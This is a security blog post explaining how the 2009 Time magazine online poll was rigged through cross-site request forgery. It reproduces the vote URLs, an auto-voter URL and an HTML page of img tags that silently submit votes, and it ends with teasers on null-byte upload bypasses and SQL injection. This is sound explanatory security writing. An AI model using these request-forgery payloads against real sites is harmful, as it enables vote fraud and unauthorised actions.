Skip to main content

CSRF attack manipulates Times Poll


Again Time magazine has become a victim to CSRF attack. A person called Moot got the most votes not by the normal public bu by manipulating the poll process by Moot's supporters.
The supporters of Moot analysed the link that actually submit the user's vote to the application:

http://www.timepolls.com/contentpolls/Vote.do?pollName=time100_2009&id=1883924&rating=1
Then they created an auto Voter URL:http://fun.qinip.com/gen.php?id=1883924&rating=1&amount=1
The arguments the specified the ID of the person to be voted,the rating to be given to the person and how many times they are being voted.
With this information, the attackers could abuse the amount argument to vote more than one time:


http://fun.qinip.com/gen.php?id=1883924&rating=1&amount=200
Each time this URL was accessed, it was equivalent to 200 individual normal requests.
Time actually identified the manipulation and came with antiCSRF tokens that were MD5 hash of URL + salt value.

http://www.timepolls.com/hppolls/votejson.do?callback=processPoll&id=335&choice=1&key=a4f7d95082b03e99586729c5de257e7b
Moot's supporters even identified the mechanism hoe the application generating the token and used the same way to launch the their further attacks.


The URL http://fun.qinip.com contains the following code:
<html&gt


<html>
<head>
<title></title>
</head>
<body>
<img src="http://www.timepolls.com/hppolls/votejson.do?callback=processPoll&id=335&choice=1&key=a4f7d95082b03e99586729c5de257e7b" /><img src="http://www.timepolls.com/hppolls/votejson.do?callback=processPoll&id=335&choice=1&key=a4f7d95082b03e99586729c5de257e7b" />
...
</body>
</html>



I don't know what happened to this particular poll of Times but one thing is sure..don't just implement anti_CSRF token...implement *strong* anti-CSRF token.

More information:
http://www.xiom.com/whid/2009/38/time_poll_hacking

Comments

Popular posts from this blog

File Upload through Null Byte Injection

Sometimes, during file upload we come across situation wherein there would be check on the file extension at the client side as well as server side too. If the application does allow only .jpeg extension to be uploaded, the client side java script checks for the extension of the file before passing the request. We all know that how easily this can be defeated.
Some applications, checks for the extension at the server side also. That's not easy to bypass. However there are some ways with which it still can be bypassed. Most of server side scripts are written in high level languages such as Php, Java etc who still use some C/C++ libraries to read the file name and contents. That leads to the problem. In C/C++ a line ends with /00 or which is called Null Byte. So whenever the interpreter sees a null byte at the end of the a string, it stops reading thinking it has reached at the end of the string.
This can be used for the bypass. It works for many servers, specially php servers. Th…

SQL Injection in search field

Earlier I had written about performing SQL injection in search field and how to do a DoS attack and privilege escalation using 'Like' operators. Now another SQLi exploitation I came across recently. That too in the search field. This becomes important as lots of people don't pay much attention on the search forms/ fields in the application. My aim is to show that a search form can also be exploited with SQL Injection. The following queries are based on a real world exploitation. The steps and data are for just illustration purpose only. Suppose, the search form provides the details of users who have accessed the application some time and their login time details etc, we just need to provide their name in the search box provided. All the data were being going as Post request. So, to just fingerprint the database, I provide, 'nil'+'esh' in the search field and it successfully gives me the results. That means the database behind the application is concatenat…

Insecure protocols

Some basic insecure protocols and risk associated with them: